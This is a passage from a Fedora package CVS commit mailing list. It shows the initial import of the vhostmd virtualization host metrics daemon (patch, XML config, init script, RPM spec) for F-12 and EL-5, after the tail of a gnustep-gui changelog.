%defattr(-,root,root,-)
%{_infodir}/AppKit.info.gz
%{_datadir}/GNUstep/Documentation/*
%doc Documentation/manual/LICENSE

%changelog
* Tue Oct 13 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-5
- Fix missing BRs

* Tue Sep 29 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-4
- Fix typo

* Sun Sep 27 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-3
- Create separate libs subpackage
- Fix license tag

* Thu Sep 24 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-2
- Rework for new gnustep-make and gnustep-base releases

* Tue Feb 17 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-1
- New upstream release

* Thu Dec 11 2008 Jochen Schmitt <Jochen herr-schmitt de> 0.14.0-2
- Add some missing BRs

* Wed Dec 10 2008 Jochen Schmitt <Jochen herr-schmitt de> 0.14.0-1
- Initional Package


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnustep-gui/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:24:54 -0000	1.1
+++ sources	13 Oct 2009 17:52:38 -0000	1.2
@@ -0,0 +1 @@
+464b80094e438fe0cc8e6ae691b3384c  gnustep-gui-0.16.0.tar.gz



From rjones at fedoraproject.org  Tue Oct 13 17:56:10 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue, 13 Oct 2009 17:56:10 +0000 (UTC)
Subject: rpms/vhostmd/F-12
	0001-Further-changes-to-avoid-using-xenstore.patch, 
	NONE, 1.1 import.log, NONE, 1.1 vhostmd.conf, NONE,
	1.1 vhostmd.init, NONE, 1.1 vhostmd.spec, NONE,
	1.1 vhostmd.sysconfig, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091013175610.60F5511C00E8@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17455/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	0001-Further-changes-to-avoid-using-xenstore.patch import.log 
	vhostmd.conf vhostmd.init vhostmd.spec vhostmd.sysconfig 
Log Message:
Initial import.


0001-Further-changes-to-avoid-using-xenstore.patch:
 test/Makefile.am            |   10 ++++++++--
 vm-dump-metrics/Makefile.am |    6 ++++--
 2 files changed, 12 insertions(+), 4 deletions(-)

--- NEW FILE 0001-Further-changes-to-avoid-using-xenstore.patch ---
>From c0cbeed281739194adfb9c43d01197a4f84d8d95 Mon Sep 17 00:00:00 2001
From: Richard Jones <rjones at redhat.com>
Date: Tue, 13 Oct 2009 11:18:49 +0100
Subject: [PATCH] Further changes to avoid using xenstore.

We missed two more places where libxenstore is used.  This commit
changes the Makefiles to not link to xenstore when --without-xenstore
is given.
---
 test/Makefile.am            |   10 ++++++++--
 vm-dump-metrics/Makefile.am |    5 ++++-
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/test/Makefile.am b/test/Makefile.am
index 42e6a59..fd2cd60 100644
--- a/test/Makefile.am
+++ b/test/Makefile.am
@@ -5,7 +5,10 @@ INCLUDES = \
 noinst_PROGRAMS = test_static test_dyn
 
 test_static_SOURCES = main.c
-test_static_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+test_static_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
+if WITH_XENSTORE
+test_static_LDADD += -lxenstore
+endif
 
 test_static_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
@@ -13,7 +16,10 @@ test_static_DEPENDENCIES = \
 
 test_dyn_SOURCES = main.c
 test_dyn_CFLAGS = -DUSE_DL_OPEN
-test_dyn_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+test_dyn_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
+if WITH_XENSTORE
+test_dyn_LDADD += -lxenstore
+endif
 
 test_dyn_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
diff --git a/vm-dump-metrics/Makefile.am b/vm-dump-metrics/Makefile.am
index c29a4cd..0cde35d 100644
--- a/vm-dump-metrics/Makefile.am
+++ b/vm-dump-metrics/Makefile.am
@@ -8,8 +8,11 @@ endif
 
 sbin_PROGRAMS = vm-dump-metrics
 vm_dump_metrics_SOURCES = main.c
-vm_dump_metrics_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+vm_dump_metrics_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
 vm_dump_metrics_LDFLAGS = -static
+if WITH_XENSTORE
+vm_dump_metrics_LDADD += -lxenstore
+endif
 
 vm_dump_metrics_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
-- 
1.6.2.5



--- NEW FILE import.log ---
vhostmd-0_4-0_1_git326f0012172_fc11:F-12:vhostmd-0.4-0.1.git326f0012172.fc11.src.rpm:1255456515


--- NEW FILE vhostmd.conf ---
<?xml version="1.0" ?>
<!DOCTYPE vhostmd SYSTEM "vhostmd.dtd">

<!--

Configuration file for virtual host metrics daemon (vhostmd).

A better, less noisy, more minimal configuration file
which doesn't depend on Xen.

Supported metric types are: int32, uint32, int64, uint64, real32,
real64, and string.

A metric's value is set to the output produced by executing its action.

'action' can include the special token NAME, in which case the name of
the vm currently under inspection is substituted for NAME.  Only useful
within the vm element.

-->

<vhostmd>
  <globals>
    <disk>
      <name>host-metrics-disk</name>
      <path>/dev/shm/vhostmd0</path>
      <!-- must be between [128 KB, 256 MB] in size -->
      <size unit="k">256</size>
    </disk>
    <update_period>60</update_period>
    <path>/bin:/sbin:/usr/bin:/usr/sbin:/usr/share/vhostmd/scripts</path>
    <transport>vbd</transport>
    <!-- <transport>xenstore</transport> -->
  </globals>
  <metrics>
    <metric type="string" context="host">
      <name>HostName</name>
      <action>hostname</action>
    </metric>
    <metric type="string" context="host">
      <name>VirtualizationVendor</name>
      <action>echo Fedora</action>
    </metric>
    <metric type="string" context="host">
      <name>VirtualizationProductInfo</name>
      <action>virsh version | grep API | gawk -F': ' '{print $2}'</action>
    </metric>
    <metric type="uint32" context="host">
      <name>TotalPhyCPUs</name>
      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
    </metric>
    <metric type="uint32" context="host">
      <name>NumCPUs</name>
      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>TotalPhyMem</name>
      <action>virsh nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>UsedMem</name>
      <action>free | grep '^Mem:' | gawk '{print $3}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>FreeMem</name>
      <action>free | grep '^Mem:' | gawk '{print $4}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>PagedInMemory</name>
      <action>echo "$((`vmstat -s | gawk '/pages paged in/ {print $1}'` / 1024))"</action>
    </metric>
    <metric type="uint64" context="host">
      <name>PagedOutMemory</name>
      <action>echo "$((`vmstat -s | gawk '/pages paged out/ {print $1}'` / 1024))"</action>
    </metric>
    <metric type="group" context="host">
      <name>PageRates</name>
      <action>pagerate.pl</action>
      <variable name="PageInRate" type="uint64"/>
      <variable name="PageFaultRate" type="uint64"/>
    </metric>
    <!--<metric type="real64" context="host">
		<name>TotalCPUTime</name>
		<action>virsh dominfo 0 | sed 's/: */:/' | \
                  gawk -F: '/CPU time/ {print $2;}'</action>
    </metric>-->
    <metric type="real64" context="vm">
      <name>TotalCPUTime</name>
      <action>virsh dominfo NAME | sed 's/: */:/' | \
        gawk -F: '/CPU time/ {print $2;}'</action>
    </metric>
  </metrics>
</vhostmd>


--- NEW FILE vhostmd.init ---
#!/bin/sh
#
# vhostmd: Virtualization host metrics daemon
#
# chkconfig:   - 98 02
# description: This daemon allows access to host information from guests.

### BEGIN INIT INFO
# Provides: vhostmd
# Required-Start: libvirtd
# Required-Stop: libvirtd
# Default-Stop: 
# Short-Description: Virtualization host metrics daemon
# Description: This daemon allows access to host information from guests.
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec=/usr/sbin/vhostmd
prog=vhostmd
config=/etc/vhostmd/vhostmd.conf

[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

ARGS=
if [ -n "$VHOSTMD_VERBOSE" ]; then
    ARGS="$ARGS --verbose"
fi
if [ -n "$VHOSTMD_CONFIG" ]; then
    ARGS="$ARGS --config $VHOSTMD_CONFIG"
fi

lockfile=/var/lock/subsys/$prog

start() {
    [ -x $exec ] || exit 5
    [ -f $config ] || exit 6
    echo -n $"Starting $prog: "
    daemon $exec $ARGS
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    rm -f /var/run/$prog.pid
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

reload() {
    restart
}

force_reload() {
    restart
}

rh_status() {
    status $prog
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}


case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
esac
exit $?


--- NEW FILE vhostmd.spec ---
# Xen is only available on a limited number of architectures
%ifarch %{ix86} x86_64 ia64
%global have_xen 1
%else
%global have_xen 0
%endif

Summary:       Virtualization host metrics daemon
Name:          vhostmd
Version:       0.4
Release:       0.1.git326f0012172%{?dist}
License:       GPLv2+
Group:         System Environment/Daemons
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root

URL:           http://gitorious.org/vhostmd

# Upstream tarball hosting is screwed at the moment.  This release is
# a pre-release of 0.4, based on git 326f00121729760c0236ef1b56b905f85470c740
# with 'make dist' done by the packager.
Source0:       vhostmd-%{version}.tar.bz2
Source1:       vhostmd.init
Source2:       vhostmd.sysconfig
Source3:       vhostmd.conf

# Fix --without-xenstore option.  Patch posted upstream on 2009-10-13.
Patch0:        0001-Further-changes-to-avoid-using-xenstore.patch

BuildRequires: chrpath
BuildRequires: pkgconfig
BuildRequires: libxml2-devel
BuildRequires: libvirt-devel

# Used when we are patching autotools configuration.
BuildRequires: automake, autoconf, libtool

%if %{have_xen}
BuildRequires: xen-devel
%endif

Requires(post): chkconfig
Requires(preun): chkconfig
Requires(preun): initscripts
Requires(postun): initscripts


%description 
vhostmd provides a "metrics communication channel" between a host and
its hosted virtual machines, allowing limited introspection of host
resource usage from within virtual machines.


%package -n    vm-dump-metrics
Summary:       Virtualization host metrics dump 
Group:         Applications/System


%description -n vm-dump-metrics
Executable to dump all available virtualization host metrics to stdout
or a file.


%package -n    vm-dump-metrics-devel
Summary:       Virtualization host metrics dump development 
Group:         Development/Libraries
Requires:      vm-dump-metrics = %{version}
Requires:      pkgconfig


%description -n vm-dump-metrics-devel
Header and libraries necessary for metrics gathering development


%prep
%setup -q

%patch0 -p1
./autogen.sh


%build
%configure \
%if %{have_xen} == 0
  --without-xenstore \
%endif
  --enable-shared --disable-static
make %{_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT

make DESTDIR=$RPM_BUILD_ROOT install

mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/init.d
install -m 0755 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/init.d/%{name}

mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
install -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/%{name}

#rm $RPM_BUILD_ROOT%{_libdir}/libmetrics.a
rm $RPM_BUILD_ROOT%{_libdir}/libmetrics.la

chrpath --delete $RPM_BUILD_ROOT%{_sbindir}/vm-dump-metrics

# Remove docdir - we'll make a proper one ourselves.
rm -r $RPM_BUILD_ROOT%{_docdir}/vhostmd

# Remove metric.dtd from /etc.
rm $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/metric.dtd

# The default configuration file is great for Xen, not so great
# for anyone else.  Replace it with one which is better for libvirt
# users.
mv $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf \
   $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf.for.xen
cp %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf


%clean
rm -rf $RPM_BUILD_ROOT


%post
/sbin/chkconfig --add vhostmd


%preun
if [ $1 = 0 ] ; then
  /sbin/service vhostmd stop >/dev/null 2>&1
  /sbin/chkconfig --del vhostmd
fi


%postun
if [ "$1" -ge "1" ] ; then
  /sbin/service vhostmd condrestart >/dev/null 2>&1 || :
fi


%post -n vm-dump-metrics -p /sbin/ldconfig


%postun -n vm-dump-metrics -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING README
%doc mdisk.xml metric.dtd vhostmd.dtd vhostmd.xml

%{_sbindir}/vhostmd

%dir %{_sysconfdir}/vhostmd
%config(noreplace) %{_sysconfdir}/vhostmd/vhostmd.conf
%config(noreplace) %{_sysconfdir}/vhostmd/vhostmd.conf.for.xen
%config %{_sysconfdir}/vhostmd/vhostmd.dtd
%{_sysconfdir}/init.d/%{name}
%config(noreplace) %{_sysconfdir}/sysconfig/%{name}

%dir %{_datadir}/vhostmd
%dir %{_datadir}/vhostmd/scripts
%{_datadir}/vhostmd/scripts/pagerate.pl

%{_mandir}/man8/vhostmd.8.gz


%files -n vm-dump-metrics
%defattr(-,root,root,-)
%doc COPYING
%{_sbindir}/vm-dump-metrics
%{_libdir}/libmetrics.so.0
%{_libdir}/libmetrics.so.0.0.0
%{_mandir}/man1/vm-dump-metrics.1.gz


%files -n vm-dump-metrics-devel
%defattr(-,root,root,-)
%doc README
%{_libdir}/libmetrics.so
%dir %{_includedir}/vhostmd
%{_includedir}/vhostmd/libmetrics.h


%changelog
* Tue Oct 13 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.1.git326f0012172
- Move to pre-release of 0.4, self-built tarball.
- Disable xenstore on non-x86 platforms.
- Add patch to fix --without-xenstore option.
- Use have_xen RPM macro.

* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 0.3-3
- Remove metric.dtd file from /etc (fixes rpmlint warning), but
  vhostmd.dtd has to remain because it is needed to validate the
  XML configuration file.
- Remove ExclusiveArch, instead conditionally depend on xen-devel.
- Use a better, less noisy, more minimal configuration file which
  doesn't depend on Xen.

* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.3-1
- New upstream version 0.3.

* Fri Aug 14 2009 Richard W.M. Jones <rjones at redhat.com> - 0.2-1
- Initial packaging for Fedora, based on SuSE package.


--- NEW FILE vhostmd.sysconfig ---
# Uncomment the following line to print verbose messages.
#VHOSTMD_VERBOSE=1

# Override the default configuration file path.
#VHOSTMD_CONFIG=/path/to/vhostmd.conf


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:24:01 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:56:10 -0000	1.2
@@ -0,0 +1 @@
+vhostmd-0.4.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:24:01 -0000	1.1
+++ sources	13 Oct 2009 17:56:10 -0000	1.2
@@ -0,0 +1 @@
+3e96ae064b7accaea68160d48379c92f  vhostmd-0.4.tar.bz2



From rjones at fedoraproject.org  Tue Oct 13 17:57:07 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue, 13 Oct 2009 17:57:07 +0000 (UTC)
Subject: rpms/vhostmd/EL-5
	0001-Further-changes-to-avoid-using-xenstore.patch, 
	NONE, 1.1 import.log, NONE, 1.1 vhostmd.conf, NONE,
	1.1 vhostmd.init, NONE, 1.1 vhostmd.spec, NONE,
	1.1 vhostmd.sysconfig, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091013175707.19C5911C00E8@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17994/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	0001-Further-changes-to-avoid-using-xenstore.patch import.log 
	vhostmd.conf vhostmd.init vhostmd.spec vhostmd.sysconfig 
Log Message:
Initial import.


0001-Further-changes-to-avoid-using-xenstore.patch:
 test/Makefile.am            |   10 ++++++++--
 vm-dump-metrics/Makefile.am |    6 ++++--
 2 files changed, 12 insertions(+), 4 deletions(-)

--- NEW FILE 0001-Further-changes-to-avoid-using-xenstore.patch ---
>From c0cbeed281739194adfb9c43d01197a4f84d8d95 Mon Sep 17 00:00:00 2001
From: Richard Jones <rjones at redhat.com>
Date: Tue, 13 Oct 2009 11:18:49 +0100
Subject: [PATCH] Further changes to avoid using xenstore.

We missed two more places where libxenstore is used.  This commit
changes the Makefiles to not link to xenstore when --without-xenstore
is given.
---
 test/Makefile.am            |   10 ++++++++--
 vm-dump-metrics/Makefile.am |    5 ++++-
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/test/Makefile.am b/test/Makefile.am
index 42e6a59..fd2cd60 100644
--- a/test/Makefile.am
+++ b/test/Makefile.am
@@ -5,7 +5,10 @@ INCLUDES = \
 noinst_PROGRAMS = test_static test_dyn
 
 test_static_SOURCES = main.c
-test_static_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+test_static_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
+if WITH_XENSTORE
+test_static_LDADD += -lxenstore
+endif
 
 test_static_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
@@ -13,7 +16,10 @@ test_static_DEPENDENCIES = \
 
 test_dyn_SOURCES = main.c
 test_dyn_CFLAGS = -DUSE_DL_OPEN
-test_dyn_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+test_dyn_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
+if WITH_XENSTORE
+test_dyn_LDADD += -lxenstore
+endif
 
 test_dyn_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
diff --git a/vm-dump-metrics/Makefile.am b/vm-dump-metrics/Makefile.am
index c29a4cd..0cde35d 100644
--- a/vm-dump-metrics/Makefile.am
+++ b/vm-dump-metrics/Makefile.am
@@ -8,8 +8,11 @@ endif
 
 sbin_PROGRAMS = vm-dump-metrics
 vm_dump_metrics_SOURCES = main.c
-vm_dump_metrics_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS) -lxenstore
+vm_dump_metrics_LDADD = ../libmetrics/libmetrics.la $(LIBXML_LIBS)
 vm_dump_metrics_LDFLAGS = -static
+if WITH_XENSTORE
+vm_dump_metrics_LDADD += -lxenstore
+endif
 
 vm_dump_metrics_DEPENDENCIES = \
     ../libmetrics/libmetrics.h \
-- 
1.6.2.5



--- NEW FILE import.log ---
vhostmd-0_4-0_1_git326f0012172_fc11:EL-5:vhostmd-0.4-0.1.git326f0012172.fc11.src.rpm:1255456589


--- NEW FILE vhostmd.conf ---
<?xml version="1.0" ?>
<!DOCTYPE vhostmd SYSTEM "vhostmd.dtd">

<!--

Configuration file for virtual host metrics daemon (vhostmd).

A better, less noisy, more minimal configuration file
which doesn't depend on Xen.

Supported metric types are: int32, uint32, int64, uint64, real32,
real64, and string.

A metric's value is set to the output produced by executing its action.

'action' can include the special token NAME, in which case the name of
the vm currently under inspection is substituted for NAME.  Only useful
within the vm element.

-->

<vhostmd>
  <globals>
    <disk>
      <name>host-metrics-disk</name>
      <path>/dev/shm/vhostmd0</path>
      <!-- must be between [128 KB, 256 MB] in size -->
      <size unit="k">256</size>
    </disk>
    <update_period>60</update_period>
    <path>/bin:/sbin:/usr/bin:/usr/sbin:/usr/share/vhostmd/scripts</path>
    <transport>vbd</transport>
    <!-- <transport>xenstore</transport> -->
  </globals>
  <metrics>
    <metric type="string" context="host">
      <name>HostName</name>
      <action>hostname</action>
    </metric>
    <metric type="string" context="host">
      <name>VirtualizationVendor</name>
      <action>echo Fedora</action>
    </metric>
    <metric type="string" context="host">
      <name>VirtualizationProductInfo</name>
      <action>virsh version | grep API | gawk -F': ' '{print $2}'</action>
    </metric>
    <metric type="uint32" context="host">
      <name>TotalPhyCPUs</name>
      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
    </metric>
    <metric type="uint32" context="host">
      <name>NumCPUs</name>
      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>TotalPhyMem</name>
      <action>virsh nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>UsedMem</name>
      <action>free | grep '^Mem:' | gawk '{print $3}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>FreeMem</name>
      <action>free | grep '^Mem:' | gawk '{print $4}'</action>
    </metric>
    <metric type="uint64" context="host">
      <name>PagedInMemory</name>
      <action>echo "$((`vmstat -s | gawk '/pages paged in/ {print $1}'` / 1024))"</action>
    </metric>
    <metric type="uint64" context="host">
      <name>PagedOutMemory</name>
      <action>echo "$((`vmstat -s | gawk '/pages paged out/ {print $1}'` / 1024))"</action>
    </metric>
    <metric type="group" context="host">
      <name>PageRates</name>
      <action>pagerate.pl</action>
      <variable name="PageInRate" type="uint64"/>
      <variable name="PageFaultRate" type="uint64"/>
    </metric>
    <!--<metric type="real64" context="host">
		<name>TotalCPUTime</name>
		<action>virsh dominfo 0 | sed 's/: */:/' | \
                  gawk -F: '/CPU time/ {print $2;}'</action>
    </metric>-->
    <metric type="real64" context="vm">
      <name>TotalCPUTime</name>
      <action>virsh dominfo NAME | sed 's/: */:/' | \
        gawk -F: '/CPU time/ {print $2;}'</action>
    </metric>
  </metrics>
</vhostmd>


--- NEW FILE vhostmd.init ---
#!/bin/sh
#
# vhostmd: Virtualization host metrics daemon
#
# chkconfig:   - 98 02
# description: This daemon allows access to host information from guests.

### BEGIN INIT INFO
# Provides: vhostmd
# Required-Start: libvirtd
# Required-Stop: libvirtd
# Default-Stop: 
# Short-Description: Virtualization host metrics daemon
# Description: This daemon allows access to host information from guests.
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec=/usr/sbin/vhostmd
prog=vhostmd
config=/etc/vhostmd/vhostmd.conf

[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

ARGS=
if [ -n "$VHOSTMD_VERBOSE" ]; then
    ARGS="$ARGS --verbose"
fi
if [ -n "$VHOSTMD_CONFIG" ]; then
    ARGS="$ARGS --config $VHOSTMD_CONFIG"
fi

lockfile=/var/lock/subsys/$prog

start() {
    [ -x $exec ] || exit 5
    [ -f $config ] || exit 6
    echo -n $"Starting $prog: "
    daemon $exec $ARGS
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    rm -f /var/run/$prog.pid
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

reload() {
    restart
}

force_reload() {
    restart
}

rh_status() {
    status $prog
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}


case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
esac
exit $?


--- NEW FILE vhostmd.spec ---
# Xen is only available on a limited number of architectures
%ifarch %{ix86} x86_64 ia64
%global have_xen 1
%else
%global have_xen 0
%endif

Summary:       Virtualization host metrics daemon
Name:          vhostmd
Version:       0.4
Release:       0.1.git326f0012172%{?dist}
License:       GPLv2+
Group:         System Environment/Daemons
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root

URL:           http://gitorious.org/vhostmd

# Upstream tarball hosting is screwed at the moment.  This release is
# a pre-release of 0.4, based on git 326f00121729760c0236ef1b56b905f85470c740
# with 'make dist' done by the packager.
Source0:       vhostmd-%{version}.tar.bz2
Source1:       vhostmd.init
Source2:       vhostmd.sysconfig
Source3:       vhostmd.conf

# Fix --without-xenstore option.  Patch posted upstream on 2009-10-13.
Patch0:        0001-Further-changes-to-avoid-using-xenstore.patch

BuildRequires: chrpath
BuildRequires: pkgconfig
BuildRequires: libxml2-devel
BuildRequires: libvirt-devel

# Used when we are patching autotools configuration.
BuildRequires: automake, autoconf, libtool

%if %{have_xen}
BuildRequires: xen-devel
%endif

Requires(post): chkconfig
Requires(preun): chkconfig
Requires(preun): initscripts
Requires(postun): initscripts


%description 
vhostmd provides a "metrics communication channel" between a host and
its hosted virtual machines, allowing limited introspection of host
resource usage from within virtual machines.


%package -n    vm-dump-metrics
Summary:       Virtualization host metrics dump 
Group:         Applications/System


%description -n vm-dump-metrics
Executable to dump all available virtualization host metrics to stdout
or a file.


%package -n    vm-dump-metrics-devel
Summary:       Virtualization host metrics dump development 
Group:         Development/Libraries
Requires:      vm-dump-metrics = %{version}
Requires:      pkgconfig


%description -n vm-dump-metrics-devel
Header and libraries necessary for metrics gathering development


%prep
%setup -q

%patch0 -p1
./autogen.sh


%build
%configure \
%if %{have_xen} == 0
  --without-xenstore \
%endif
  --enable-shared --disable-static
make %{_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT

make DESTDIR=$RPM_BUILD_ROOT install

mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/init.d
install -m 0755 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/init.d/%{name}

mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
install -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/%{name}

#rm $RPM_BUILD_ROOT%{_libdir}/libmetrics.a
rm $RPM_BUILD_ROOT%{_libdir}/libmetrics.la

chrpath --delete $RPM_BUILD_ROOT%{_sbindir}/vm-dump-metrics

# Remove docdir - we'll make a proper one ourselves.
rm -r $RPM_BUILD_ROOT%{_docdir}/vhostmd

# Remove metric.dtd from /etc.
rm $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/metric.dtd

# The default configuration file is great for Xen, not so great
# for anyone else.  Replace it with one which is better for libvirt
# users.
mv $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf \
   $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf.for.xen
cp %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/vhostmd/vhostmd.conf


%clean
rm -rf $RPM_BUILD_ROOT


%post
/sbin/chkconfig --add vhostmd


%preun
if [ $1 = 0 ] ; then
  /sbin/service vhostmd stop >/dev/null 2>&1
  /sbin/chkconfig --del vhostmd
fi


%postun
if [ "$1" -ge "1" ] ; then
  /sbin/service vhostmd condrestart >/dev/null 2>&1 || :
fi


%post -n vm-dump-metrics -p /sbin/ldconfig


%postun -n vm-dump-metrics -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING README
%doc mdisk.xml metric.dtd vhostmd.dtd vhostmd.xml

%{_sbindir}/vhostmd

%dir %{_sysconfdir}/vhostmd
%config(noreplace) %{_sysconfdir}/vhostmd/vhostmd.conf
%config(noreplace) %{_sysconfdir}/vhostmd/vhostmd.conf.for.xen
%config %{_sysconfdir}/vhostmd/vhostmd.dtd
%{_sysconfdir}/init.d/%{name}
%config(noreplace) %{_sysconfdir}/sysconfig/%{name}

%dir %{_datadir}/vhostmd
%dir %{_datadir}/vhostmd/scripts
%{_datadir}/vhostmd/scripts/pagerate.pl

%{_mandir}/man8/vhostmd.8.gz


%files -n vm-dump-metrics
%defattr(-,root,root,-)
%doc COPYING
%{_sbindir}/vm-dump-metrics
%{_libdir}/libmetrics.so.0
%{_libdir}/libmetrics.so.0.0.0
%{_mandir}/man1/vm-dump-metrics.1.gz


%files -n vm-dump-metrics-devel
%defattr(-,root,root,-)
%doc README
%{_libdir}/libmetrics.so
%dir %{_includedir}/vhostmd
%{_includedir}/vhostmd/libmetrics.h


%changelog
* Tue Oct 13 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.1.git326f0012172
- Move to pre-release of 0.4, self-built tarball.
- Disable xenstore on non-x86 platforms.
- Add patch to fix --without-xenstore option.
- Use have_xen RPM macro.

* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 0.3-3
- Remove metric.dtd file from /etc (fixes rpmlint warning), but
  vhostmd.dtd has to remain because it is needed to validate the
  XML configuration file.
- Remove ExclusiveArch, instead conditionally depend on xen-devel.
- Use a better, less noisy, more minimal configuration file which
  doesn't depend on Xen.

